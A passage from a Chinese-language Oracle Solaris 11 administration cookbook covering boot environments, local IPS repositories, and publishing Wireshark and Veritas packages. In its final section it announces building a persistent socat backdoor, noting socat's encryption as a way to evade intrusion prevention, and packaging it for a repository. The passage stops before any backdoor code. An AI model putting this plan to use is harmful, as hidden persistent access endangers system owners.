solaris-backup-1   R         -          163.0K     static     2013-10-10 19:57 
solaris-backup-b    -           -          173.0K     static     2013-10-12 22:47

注意最后一条命令中的 Active 列。solaris-backup-1 的标记已经变为 R,这意味着它将在下一次启动时成为活动的引导环境。因此,现在是重启系统并列出所有 BE 的时候了。

root@solaris11:~# init 6
root@solaris11:~# beadm list
BE                   Active Mountpoint   Space     Policy    Created          

solaris              -         -              511.60M   static   2013-10-05 20:44 
solaris-backup-1    NR        /              4.74G    static   2013-10-10 19:57 
solaris-backup-b     -          -              173.0K    static   2013-10-12 22:47 

如果我们需要销毁一个引导环境(当然不是当前的那个),可以通过执行以下命令来实现:

root@solaris11:~# beadm destroy solaris-backup-b
Are you sure you want to destroy solaris-backup-b?  This action cannot be undone(y/[n]): y

root@solaris11:~# beadm list
BE                   Active Mountpoint Space   Policy     Created          

solaris              -             -          247.55M   static     2013-10-05 20:44 
solaris-backup-1   NR            /           4.90G    static     013-10-10 19:57 

那么,我们该如何看待 GRUB 呢?其实没有问题,因为 Oracle Solaris 11 会自动从现有的 GRUB 配置中移除 BE 条目。

配方概览

创建一个新的启动环境(BE)是一个非常好的方式,用来初步测试 Oracle 提供的新 Oracle Solaris 11 补丁或操作系统升级。如果出现问题,我们可以切换回旧的环境,而不会丢失任何数据。在创建 BE 后,我们需要记住在重启系统之前激活新的 BE。

列出和重命名启动环境

令人惊讶的是,一些小细节可以帮助我们进行日常管理。从本章开始,我们一直在使用一些仓库命令,现在是时候学习更多相关的命令了。

准备工作

为了按照这个步骤操作,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户登录系统并打开终端。此外,我们的系统必须能够访问互联网并且有一些额外的磁盘空间。

如何操作…

列出现有启动环境非常简单;我们可以通过运行以下命令来实现:

root@solaris11:~# beadm list
BE                 Active Mountpoint Space    Policy     Created          
-----------------------          ------------------------------------   ----------              ------------------------     
solaris            NR       /          4.99G    static     2013-10-05 20:44
solaris-backup-1    -        -          163.0K   static     2013-10-10 19:57 

根据前面的输出,当前活动的 BE 是 solaris(标记 N),它将在下一次启动时使用(标记 R),其大小为 4.99 GB,Mountpoint/。还有其他信息,但现在这些不太相关。在这个特定的示例中,还有另一个名为 solaris-backup-1 的 BE(如果读者没有一个名为此的 BE,也可以使用现有的 solaris BE 来测试),该 BE 目前仅占用了 163 KB。

Oracle Solaris 11 使得重命名非活动的启动环境变得简单,只需执行以下命令:

root@solaris11:~# beadm rename solaris-backup-1 solaris-backup-a
root@solaris11:~# beadm list
BE                   Active Mountpoint Space    Policy     Created          
-----------------------          ------------------------------------   ----------              ------------------------     
solaris              NR       /          4.99G      static     2013-10-05 20:44
solaris-backup-a    -        -          163.0K     static     2013-10-10 19:57 

配方概览

列出和重命名 BE 是管理和处理 BE 的基础。beadm list 命令可以显示每个 BE 挂载的目录以及它占用的空间。安装过程中,Oracle Solaris 11 会自动创建一个 BE(第一个 BE),我们可以通过它来了解操作系统的安装时间。重命名 BE 是一个补充步骤,帮助我们遵守命名规则,并使管理更加便捷。

配置 IPS 本地仓库

从官方 Oracle 仓库安装软件包很方便,但如果公司内安装了许多 Oracle Solaris 11 机器,并且这些机器重复执行相同的安装软件包操作,那么访问互联网可能会变得非常密集。在这种情况下,创建一个本地 IPS 仓库非常方便,仓库中包含与官方仓库相同的软件包,但它们可以在本地网络中使用。

准备工作

为了按照这个步骤操作,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户登录系统并打开终端。此外,我们的系统必须能够访问互联网。还有其他要求,比如额外的磁盘(物理的或虚拟的),以创建 Z 文件系统ZFS),并且我们需要下载仓库镜像。

要下载存储库镜像,请访问www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html,点击创建本地存储库,然后下载所有可用的部分(在撰写本文时,共有四个部分)。执行以下命令解压并连接它们:

root@solaris11:~#  cat *part1  part2  part3  part4* ...  > solaris-11-repo-full.iso

如何操作...

我们可以将存储库创建在一个独立的磁盘中,以获得一些性能和维护方面的优势。事实上,我们并不是必须这样做,但强烈推荐这么做。要列出可用的磁盘(format命令),我们在这个池中创建一个新的池,然后创建一个新的 ZFS 文件系统,并执行以下命令:

  root@solaris11:~# format
Searching for disks...done

AVAILABLE DISK SELECTIONS:
       0\. c8t0d0 <VBOX-HARDDISK-1.0-80.00GB>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1\. c8t1d0 <VBOX-HARDDISK-1.0 cyl 2086 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@1,0
Specify disk (enter its number): 1
selecting c8t1d0
[disk formatted]
No Solaris fdisk partition found.

我们意识到,如果第二块磁盘(c8t1d0)没有任何分区,则以下命令序列将创建一个池(zpool create命令)。我们列出它(zpool list命令)并创建一个新的 ZFS 文件系统(zfs create命令),如下所示:

root@solaris11:~# zpool create repo_pool c8t1d0
root@solaris11:~# zpool status repo_pool
  pool: repo_pool
  state: ONLINE
  scan: none requested
  config:

    NAME      STATE     READ WRITE CKSUM
repo_pool  ONLINE       0     0     0
    c8t1d0  ONLINE       0     0     0

    errors: No known data errors

root@solaris11:~# zfs create repo_pool/repoimage
root@solaris11:~# zfs list repo_pool/repoimage
    NAME                 USED  AVAIL  REFER  MOUNTPOINT
    repo_pool/repoimage  31K   15.6G  31K    /repo_pool/repoimage

现在是时候使用存储库镜像(来自准备工作部分的solaris-11-repo-full.iso)来创建我们的本地存储库了,为此,我们需要挂载该镜像并将其所有内容(约 6.8 GB)复制到我们创建的存储库文件系统中。因此,在第一步中,我们创建一个挂载点:

root@solaris11:~# mkdir /software

现在,我们使用lofiadm命令创建一个指向存储库镜像的设备文件并挂载它:

root@solaris11:~# lofiadm -a sol-11-repo-full.iso
/dev/lofi/1
root@solaris11:~# mount -F hsfs /dev/lofi/1 /software

要将镜像内容复制到本地存储库,我们执行以下命令:

root@solaris11:~# rsync -aP  /software/repo  /repo_pool/repoimage
root@solaris11:/repo_pool/repoimage# ls -al
total 37
drwxr-xr-x   3 root     root           6 Oct 15 19:31 .
drwxr-xr-x   3 root     root           3 Oct 14 19:25 ..
-rw-r--r--   1 root     root        3247 Sep 20  2012 COPYRIGHT
-rwxr-xr-x   1 root     root        1343 Sep 20  2012 NOTICES
-rw-r--r--   1 root     root        7531 Sep 28  2012 README
drwxr-xr-x   3 root     root           4 Sep 19  2012 repo

服务管理设施SMF)中配置存储库服务器服务。如果你还不熟悉 SMF,我建议稍后阅读第五章,玩转 Oracle Solaris 11 服务。因此,使用svcprop命令可以验证某些服务属性。同样,如果你希望更改服务的特定属性,svccfg命令是合适的选择。

要验证当前的存储库目录,我们执行以下命令:

root@solaris11:~# svcprop -p pkg/inst_root application/pkg/server
/var/pkgrepo

我们通过运行以下命令更改存储库目录并将其设为只读:

root@solaris11:~# svccfg -s application/pkg/server setprop 
pkg/inst_root=/repo_pool/repoimage/repo
root@solaris11:~# svccfg -s application/pkg/server setprop pkg/readonly=true

我们通过运行以下命令快速检查我们的更改:

root@solaris11:~# svcprop -p pkg/inst_root application/pkg/server
/repo_pool/repoimage/repo

为了避免与任何已配置在端口80上的服务发生 TCP 端口冲突,我们将其更改为9999

root@solaris11:~# svccfg -s application/pkg/server setprop pkg/port=9999

现在,我们重新加载存储库配置,启动它,然后对存储库目录进行索引,以提高软件包搜索操作的效率:

root@solaris11:~# svcadm refresh application/pkg/server
root@solaris11:~# svcadm enable application/pkg/server
root@solaris11:~# svcs | grep -i pkg/server
online         20:06:43 svc:/application/pkg/server:default
root@solaris11:~# pkgrepo refresh -s /repo_pool/repoimage/repo
Initiating repository refresh.

我们列出当前配置的发布者,并为 Oracle Solaris 11 配置一个新的发布者:

root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
root@solaris11:~# pkg set-publisher -G '*' -g http://solaris11.example.com solaris

我们需要小心。在之前的命令中,-G选项移除了solaris发布者的任何现有源(存储库),而-g选项设置了一个新的 URI,指向同一发布者(solaris)的本地存储库。此外,solaris.example.com URL 指向存储库机器的本地系统地址(它可以是127.0.0.1)。

我们现在有机会测试我们的新存储库:

root@solaris11:~# pkg search nmap
INDEX           ACTION VALUE                                                                                                                   PACKAGE
pkg.description set    Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime. pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
basename        dir    usr/share/nmap                                                                                                          pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
basename        file   usr/bin/nmap                                                                                                            pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
pkg.fmri        set    solaris/diagnostic/nmap                                                                                                 pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0

root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://solaris11.example.com/
root@solaris11:~# pkgrepo info -s /repo_pool/repoimage/repo
PUBLISHER PACKAGES STATUS           UPDATED
solaris   4401     online           2012-09-27T22:22:59.530981Z

哇!我们已经列出了已配置的发布者并更改了 solaris 发布者的 URI。此外,我们还可以通过运行以下命令收集更多关于本地仓库的信息:

root@solaris11:~# pkgrepo get -s /repo_pool/repoimage/repo
SECTION    PROPERTY    VALUE
publisher  prefix      solaris
repository description This\ repository\ serves\ a\ copy\ of\ the\ Oracle\ Solaris\ 11.1\ Build\ 24b\ Package\ Repository.
repository name        Oracle\ Solaris\ 11.1\ Build\ 24b\ Package\ Repository
repository version     4

我们可以更改仓库的任何属性,然后通过执行以下命令验证我们的更改:

root@solaris11:~# pkgrepo set -s /repo_pool/repoimage/repo
repository/description="My local Oracle Solaris 11 repository" repository/name="LOCAL SOLARIS 11 REPO" 

root@solaris11:~# pkgrepo get -s /repo_pool/repoimage/repo
SECTION    PROPERTY    VALUE
publisher  prefix      solaris
repository description My\ local\ Oracle\ Solaris\ 11\ repository
repository name        LOCAL\ SOLARIS\ 11\ REPO
repository version     4

有时,我们需要从可靠且更新的来源(如 Oracle)更新本地仓库。我们执行以下命令来完成此任务:

root@solaris11:~# pkgrecv -s http://pkg.oracle.com/solaris/release/ -d /repo_pool/repoimage/repo '*'
Processing packages for publisher solaris ...
Retrieving and evaluating 4401 package(s)...
PROCESS                                 ITEMS     GET (MB)    SEND (MB)
Completed                                 7/7  241.2/241.2  617.1/617.1

相比之下,最令人印象深刻的事实是,我们本可以在本食谱开始时使用相同的命令,从官方 Oracle 仓库复制整个仓库,而不是下载整个仓库、拼接各个部分、使用 lofiadm 命令创建设备、执行 rsync 命令等等。我曾有过一次个人经验,当时在使用这个特定命令时,由于某些原因,在获取软件包时发生了下载错误。为了继续之前中断的下载,我们执行以下命令:

root@solaris11:~# pkgrecv -c -s http://pkg.oracle.com/solaris/release/ -d /repo_pool/repoimage/repo '*'

这几乎是相同的命令,但我们这里使用了 -c 选项。

在某些情况下,我们希望通过另一种接口访问本地仓库以获取一些软件包。为了与自己的仓库进行交互,我们需要打开网页浏览器并导航到我们的本地仓库(在我的测试环境中,IP 地址是192.168.1.133solaris11.example.com—端口是9999):

如何操作…

在前面的截图中,我们搜索了 nmap 软件包,界面显示该软件包已经安装。如果是这种情况,我们会选择一个独立的文件系统来提高读写性能。

食谱概览

配置本地仓库是获得更多软件包管理控制权并加速 IPS 操作的合适方法。

配置二级 IPS 本地仓库

到目前为止,我们只配置了一个本地仓库,但我们可以拥有两个或更多本地仓库,分别用于不同的目标,这对于有独立生产和培训环境的公司非常有用。让我们看看下一部分的例子。

准备工作

要跟随本食谱,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。此外,我们的 Solaris 11 系统需要能够访问互联网。还需要一些额外的磁盘空间,并且需要一个互联网浏览器。

如何操作…

首先,我们创建一个 ZFS 文件系统:

root@solaris11:~# zfs create repo_pool/training_repo
root@solaris11:~# zfs list
NAME                              USED  AVAIL  REFER  MOUNTPOINT
repo_pool                        7.24G  8.39G    35K  /repo_pool
repo_pool/repoimage              7.24G  8.39G  7.24G  /repo_pool/repoimage
repo_pool/training_repo            31K  8.39G    31K  /repo_pool/training_repo
rpool                            30.5G  47.8G  4.91M  /rpool
rpool/ROOT                       27.4G  47.8G    31K  legacy
rpool/ROOT/solaris               16.1G  47.8G  19.7G  /
rpool/ROOT/solaris-backup-a      11.2G  47.8G  10.6G  /
rpool/ROOT/solaris-backup-a/var   385M  47.8G   202M  /var
rpool/ROOT/solaris/var           79.9M  47.8G   213M  /var
rpool/VARSHARE                   54.5K  47.8G  54.5K  /var/share
rpool/dump                       2.06G  47.8G  2.00G  -
rpool/export                      805K  47.8G    32K  /export
rpool/export/home                 773K  47.8G    32K  /export/home
rpool/export/home/ale             741K  47.8G   741K  /export/home/ale
rpool/swap                       1.03G  47.8G  1.00G  -

一旦创建了 ZFS 文件系统,接下来的步骤是创建一个仓库(一个空的仓库——只有框架)。我们设置一个发布者,并使用以下命令验证一切顺利:

root@solaris11:~# pkgrepo create /repo_pool/training_repo
root@solaris11:~# pkgrepo info -s /repo_pool/training_repo
PUBLISHER  PACKAGES  STATUS           UPDATED

root@solaris11:~# pkgrepo set -s /repo_pool/training_repo publisher/prefix=alexandreborges.org
root@solaris11:~# pkgrepo info -s /repo_pool/training_repo
PUBLISHER            PACKAGES  STATUS     UPDATED
alexandreborges.org     0      online     2013-10-16T20:18:22.803927Z

接下来,我们添加一个名为training的 SMF pkg/server实例,并使用addpg参数添加两个属性组,这些属性组包含一些预定义的属性(关于服务的更多内容可以从docs.oracle.com/cd/E26502_01/html/E29003/docinfo.html#scrolltoc和它们各自的命令手册页面了解)。最后,我们启用 training 实例:

root@solaris11:~# svccfg -s pkg/server add training
root@solaris11:~# svccfg -s pkg/server:training addpg pkg application
root@solaris11:~# svccfg -s pkg/server:training addpg general framework
root@solaris11:~# svccfg -s pkg/server:training setprop general/complete=astring:\”\”
root@solaris11:~# svccfg -s pkg/server:training setprop general/enabled=boolean: true

如果你还记得,在我们配置的第一个仓库中,我们使用了端口9999。在第二个仓库中,我们配置了端口8888,接下来仓库路径将被设置:

root@solaris11:~# svccfg -s pkg/server:training setprop pkg/port=8888
root@solaris11:~# svccfg -s pkg/server:training setprop pkg/inst_root=/repo_pool/training_repo

和第一个仓库一样,我们需要更新第二个仓库的索引并启动新的仓库实例:

root@solaris11:~# svcadm refresh application/pkg/server:training
root@solaris11:~# svcadm restart application/pkg/server:training
root@solaris11:~# svcs -a | grep training
online         18:09:51 svc:/application/pkg/server:training

我们可以通过浏览器访问仓库,地址为http://solaris11.example.com:8888

如何操作…

该配方概述

在这个配方中,我们学会了如何创建第二个仓库,这个仓库可以专门用于实现与第一个仓库不同的目标,而不是继承上一个配方中的目标。这个配方的主要命令是pkgrepo,它创建一个新的本地仓库来存储软件包。之后,我们配置 SMF 框架,使得这个新仓库能够自动提供,并在计划的 TCP 端口上运行。

将软件包发布到仓库

当然,将软件包插入到本地仓库并不是一个非常频繁的任务,但出人意料的是,这个操作节省了时间。而且,这个过程并不难,反而非常有趣,因为我们将学习如何处理像 Veritas Storage Foundations HA 这样的复杂程序。

准备工作

要遵循这个配方,我们需要一台运行 Oracle Solaris 11 的机器(无论是物理机还是虚拟机);我们以 root 用户身份登录系统并打开终端。此外,最好我们的 Solaris 11 系统能够访问互联网。

如何操作…

我们可以将之前标记为alexandreborges.org的前缀更改为training,这样可以使我们的管理工作更加简便,并且与我们在为此仓库创建 SMF 服务条目时选择的实例服务名称一致:

root@solaris11:~# pkgrepo set -s /repo_pool/training_repo publisher/prefix=training

一个有趣的事实是,仓库通常会被创建为只读模式,要将其更改为读/写模式是非常简单的:

root@solaris11:~# svccfg -s application/pkg/server:training setprop pkg/readonly=false

通过运行以下命令,可以查看之前命令的结果:

root@solaris11:~# svcprop -p pkg/readonly application/pkg/server:training
false

现在,我们重新加载配置并重新启动仓库服务:

root@solaris11:~# svcadm refresh pkg/server:training
root@solaris11:~# svcadm restart pkg/server:training
root@solaris11:~# svcs pkg/server:training
STATE          STIME    FMRI
online         18:37:43 svc:/application/pkg/server:training

新的仓库(training)尚未出现在发布者列表中:

root@solaris11:~# pkg publisher
PUBLISHER      TYPE    STATUS  P  LOCATION
solaris        origin  online  F  http://pkg.oracle.com/solaris/release/
solarisstudio  origin  online  F  https://pkg.oracle.com/solarisstudio/release/

这个solarisstudio发布者是什么?这个发布者条目是从哪里来的?放松!我安装了 Oracle Solaris Studio 12.3 来执行一些测试(这里没有展示),但你可以忽略它。它与当前的说明无关,但如果你是开发者,可以从www.oracle.com/technetwork/server-storage/solarisstudio/downloads/index.html试试看。

回到正题,我们需要通过运行以下命令,添加一个指向辅助仓库(http://localhost:8888)的发布者(training):

root@solaris11:~# pkg set-publisher -O http://localhost:8888 training
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
training                    origin   online F http://localhost:8888/

最后,我们从solaris仓库中选择两个包(wiresharkwireshark-common),并将它们包含到辅助仓库中:

root@solaris11:~# pkgrecv -s http://pkg.oracle.com/solaris/release -d /repo_pool/training_repo/publisher/training wireshark
Processing packages for publisher solaris ...
Retrieving and evaluating 1 package(s)...
PROCESS                                     ITEMS    GET (MB)   SEND (MB)
Completed                                    1/1     2.1/2.1     6.0/6.0

root@solaris11:~# pkgrecv -s http://pkg.oracle.com/solaris/release -d /repo_pool/training_repo/publisher/training wireshark-common
Processing packages for publisher solaris ...
Retrieving and evaluating 1 package(s)...
PROCESS                                 ITEMS  GET (MB)   SEND (MB)
Completed                               1/1    33.5/33.5  125.5/125.5

我们可以通过执行以下命令来确认我们完成的任务:

root@solaris11:~# pkgrepo info -s /repo_pool/training_repo
PUBLISHER  PACKAGES  STATUS           UPDATED
training   2         online           2013-10-20T22:28:27.023984Z

使用另一种方法,我们能够通过执行以下命令,从 Apache Web 服务器获取相同结果的详细报告:

root@solaris11:~# svcadm refresh pkg/server:training
root@solaris11:~# svcadm restart pkg/server:training

现在,我们可以打开网页浏览器,访问网址http://localhost:8888

如何操作…

太棒了!Wireshark 包现在可以从 Apache Web 服务器获取,并且随时可以下载和安装。

本步骤概述

将包插入到本地仓库是前面步骤的结果。此操作通常在技术团队需要在成员间共享一个新包时进行。关键命令是pkgrecv,它为我们完成了大部分工作。

将大型应用程序添加到仓库中

一些专业人员可能会好奇是否可以将复杂的应用程序插入到仓库中。答案是可以的!例如,让我们以Storage Foundation 和 Veritas Cluster Server 高可用解决方案(在撰写本文时,两者都提供了 6.01 版本)为例。

准备工作

为了遵循这个步骤,我们需要一台运行 Oracle Solaris 11 的机器(可以是物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。此外,系统必须能够连接互联网,拥有一些额外的磁盘空间,并且安装有 Storage Foundation 和 Veritas Cluster Server 高可用解决方案的包,这些包可以从www.symantec.com/products-solutions/trialware/?pcid=recently_released#下载。压缩包名为VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz,由 Veritas Storage Foundation 6.0.1 和 Veritas Cluster Server 6.0.1 组成。你可以在无密钥模式下安装它们,试用期为 60 天。

如何操作…

在将压缩包下载到主目录(/root)后,我们解压它:

root@solaris11:~# mkdir SFHA601
root@solaris11:~# mv VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz SFHA601
root@solaris11:~# cd SFHA601/
root@solaris11:~/SFHA601# ls
VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz
root@solaris11:~/SFHA601# tar zxvf VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz
root@solaris11:~/SFHA601# cd dvd2-sol_x64/sol11_x64/pkgs
root@solaris11:~/SFHA601/dvd2-sol_x64/sol11_x64/pkgs# ls
info          VRTSpkgs.p5p

在下一步中,我们将查找包含在 Storage Foundation HA 应用程序中的包。然后,为了列出其内容,我们执行以下命令:

root@solaris11:~# pkg list -g /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p 
NAME (PUBLISHER)                       VERSION                    IFO
VRTSamf (Symantec)                     6.0.100.0                  ---
VRTSaslapm (Symantec)                  6.0.100.0                  ---
VRTScavf (Symantec)                    6.0.100.0                  ---
VRTScps (Symantec)                     6.0.100.0                  ---
VRTSdbac (Symantec)                    6.0.100.0                  ---
VRTSdbed (Symantec)                    6.0.100.0                  ---
VRTSfssdk (Symantec)                   6.0.100.0                  ---
VRTSgab (Symantec)                     6.0.100.0                  ---
VRTSglm (Symantec)                     6.0.100.0                  ---
VRTSgms (Symantec)                     6.0.100.0                  ---
VRTSllt (Symantec)                     6.0.100.0                  ---
VRTSodm (Symantec)                     6.0.100.0                  ---
VRTSperl (Symantec)                    5.14.2.5                   ---
VRTSsfcpi601 (Symantec)                6.0.100.0                  ---
VRTSsfmh (Symantec)                    5.0.196.0                  ---
VRTSspt (Symantec)                     6.0.100.0                  ---
VRTSsvs (Symantec)                     6.0.100.0                  ---
VRTSvbs (Symantec)                     6.0.100.0                  ---
VRTSvcs (Symantec)                     6.0.100.0                  ---
VRTSvcsag (Symantec)                   6.0.100.0                  ---
VRTSvcsea (Symantec)                   6.0.100.0                  ---
VRTSvlic (Symantec)                    3.2.61.4                   ---
VRTSvxfen (Symantec)                   6.0.100.0                  ---
VRTSvxfs (Symantec)                    6.0.100.0                  ---
VRTSvxvm (Symantec)                    6.0.100.0                  ---

我们已经了解了 SFHA 6.0.1 软件的内容,接下来,我们创建一个名为Symantec的发布者,并将/root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/设置为仓库位置:

root@solaris11:~/SFHA601/dvd2-sol_x64/sol11_x64/pkgs# pkg set-publisher -p /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p Symantec
pkg set-publisher:
  Added publisher(s): Symantec

在列出现有仓库时,我们能够看到新添加的仓库:

root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
training                    origin   online F http://localhost:8888/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

此外,收集有关这个名为Symantec的新仓库的更多信息可能会派上用场:

root@solaris11:~# pkgrepo get -p  Symantec -s /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
PUBLISHER   SECTION      PROPERTY           VALUE
Symantec    publisher    alias              
Symantec    publisher    prefix             Symantec
Symantec    repository   collection-type    core
Symantec    repository   description        ""
Symantec    repository   legal-uris         ()
Symantec    repository   mirrors            ()
Symantec    repository   name               ""
Symantec    repository   origins            ()
Symantec    repository   refresh-seconds    ""
Symantec    repository   registration-uri   ""
Symantec    repository   related-uris       ()

太棒了!一个名为Symantec的新发布者已经创建,它指向/root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/。经过这些工作,我们可以安装 Veritas Volume Manager 和 Veritas Filesystem Packages。然而,这并不是安装 Symantec Storage Foundation HA 的常规方法,因为 Symantec 建议使用installerinstallsfha脚本来进行安装,这些脚本包含在 DVD 中。顺便提一下,以下命令是启动安装所必需的:

root@solaris11:~# pkg install –accept VRTSvxvm VRTSvxfs

--accept关键字需要符合 Symantec 的许可证要求。

请注意,我们刚刚创建并配置的名为Symantec的发布者所关联的仓库(及其相关的包)无法进行网络访问,而且遗憾的是,这对于我们的目的来说还不够。然而,通过我们之前的training发布者,可以相对容易地使所有这些Symantec包可用;我们可以使用以下命令来实现:

root@solaris11:~# pkgrecv -s /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/ -d /repo_pool/training_repo/publisher/training/ '*'
Processing packages for publisher Symantec ...
Retrieving and evaluating 25 package(s)...
PROCESS                             ITEMS    GET (MB)      SEND (MB)
Completed                           25/25    353.4/353.4   1064/1064

root@solaris11:~# pkgrepo info -s /repo_pool/training_repo
PUBLISHER  PACKAGES  STATUS           UPDATED
training   27        online           2013-10-23T10:39:27.872059Z
root@solaris11:~# svcadm refresh pkg/server:training
root@solaris11:~# svcadm restart pkg/server:training

再次,我们可以通过访问 URL http://localhost:8888/en/catalog.shtml 来检查这些上传的包:

如何操作…

食谱概览

该过程几乎与之前的步骤相同,但我们试图使过程更具实用性。此外,Veritas Storage Foundation 和 Veritas Cluster Server 是知名的程序,其价值已经通过市场的反应得到证明。这个示例的另一个重要收获是,Symantec 提供了一个小型数据库包(VRTSpkgs.p5p),帮助我们创建包含所有包引用的合适仓库。

创建自己的包并发布它

到目前为止,我们一直在使用来自 Oracle 或其他地方提供的包,但如果我们能够创建并发布自己的包,那就太好了。本教程要求我们具备编译和安装自由软件的基础经验。

准备就绪

要跟随这个操作步骤,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。例如,我们安装一些包,如system/headergcc-45socat

如何操作…

我们需要做的第一件事是安装一些必要的 Oracle Solaris 11 包,这些包将在接下来的步骤中使用:

root@solaris11:~# pkg install system/header

gcc-45包可能已经安装在系统上,并且它将选择性地要求安装gcc-3包;如果是这种情况,我们必须通过执行以下两条命令来验证gcc-45软件是否已经安装并检查其依赖关系:

root@solaris11:~# pkg list gcc-45
NAME (PUBLISHER)                    VERSION                    IFO
developer/gcc-45                    4.5.2-0.175.1.0.0.24.0     i--

root@solaris11:~# pkg contents -r -o action.raw -t depend gcc-45
ACTION.RAW
depend fmri=pkg:/system/linker@0.5.11-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/library/mpfr@2.4.2-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/header type=require
depend fmri=pkg:/developer/gnu-binutils@2.21.1-0.175.1.0.0.23.0 type=require variant.arch=i386
depend fmri=pkg:/library/gmp@4.3.2-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/library/gcc-45-runtime@4.5.2-0.175.1.0.0.24.0 type=require
depend fmri=pkg:/shell/ksh93@93.21.0.20110208-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/library/mpc@0.9-0.175.1.0.0.23.0 type=require
depend fmri=developer/gcc-3@3.4.3-0.175 type=optional

根据前一条命令输出的最后一行,gcc-45包可选择性地(type=optional)依赖于gcc-3,因此我们可以使用以下命令安装gcc-3

root@solaris11:~# pkg install gcc-3
           Packages to install:  1
       Create boot environment: No
Create backup boot environment: No
            Services to change:  1

DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
Completed                                1/1       317/317    29.6/29.6  368k/s

PHASE                                          ITEMS
Installing new actions                       393/393
Updating package state database                 Done 
Updating image state                            Done 
Creating fast lookup database                   Done 

我们通过执行以下命令来检查gcc-3包的依赖性:

root@solaris11:~# pkg contents -r -o action.raw -t depend gcc-3
ACTION.RAW
depend fmri=pkg:/system/library/gcc-3-runtime@3.4.3-0.175.1.0.0.24.0 type=require
depend fmri=pkg:/developer/gnu-binutils@2.21.1-0.175.1.0.0.23.0 type=require variant.arch=i386
depend fmri=pkg:/system/header type=require
depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/shell/ksh93@93.21.0.20110208-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/linker@0.5.11-0.175.1.0.0.23.0 type=require

我们通过执行以下命令列出gcc-3的状态及其详细信息:

root@solaris11:~# pkg list gcc-3
NAME (PUBLISHER)                                  VERSION                    IFO
developer/gcc-3                                   3.4.3-0.175.1.0.0.24.0     i--
root@solaris11:~# gcc –v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/gcc/4.5/lib/gcc/i386-pc-solaris2.11/4.5.2/lto-wrapper
Target: i386-pc-solaris2.11
Configured with: /builds/hudson/workspace/nightly-update/build/i386/components/gcc45/gcc-4.5.2/configure CC=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/cc CXX=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/CC --prefix=/usr/gcc/4.5 --mandir=/usr/gcc/4.5/share/man --bindir=/usr/gcc/4.5/bin --libdir=/usr/gcc/4.5/lib --sbindir=/usr/gcc/4.5/sbin --infodir=/usr/gcc/4.5/share/info --libexecdir=/usr/gcc/4.5/lib --enable-languages=c,c++,fortran,objc --enable-shared --with-gmp-include=/usr/include/gmp --with-mpfr-include=/usr/include/mpfr --without-gnu-ld --with-ld=/usr/bin/ld --with-gnu-as --with-as=/usr/gnu/bin/as CFLAGS='-g -O2 '
Thread model: posix
gcc version 4.5.2 (GCC) 

为了让这个例子更加吸引人,我们可以从 www.dest-unreach.org/socat/ 下载 socat 的压缩包应用程序。Socat 是一个类似于 Netcat 工具的强大工具,但 socat 增加了许多附加功能,例如能够加密连接以规避 IPS 系统。下载 socat 工具后,我们将创建一个非常简单、持久的后门,并将其打包为 Oracle Solaris 11 格式,发布到二级仓库(http://localhost:8888)并安装到我们自己的系统上。完成所有这些步骤后,将展示一个使用这个后门的实际例子。

在编写此过程时,我已经下载了 socat 版本 2.0.0-b6(socat-2.0.0-b6.tar.gz),将其复制到 /tmp 目录,并打开了压缩包:

root@solaris11:~/Downloads# cp socat-2.0.0-b6.tar.gz /tmp
root@solaris11:/tmp# tar zxvf socat-2.0.0-b6.tar.gz

让我们创建 socat 二进制文件。通常的步骤是运行 configure 脚本以检查系统上所有 socat 的要求,所以我们来执行它:

root@solaris11:/tmp# cd  socat-2.0.0-b6
root@solaris11:/tmp/socat-2.0.0-b6# ./configure

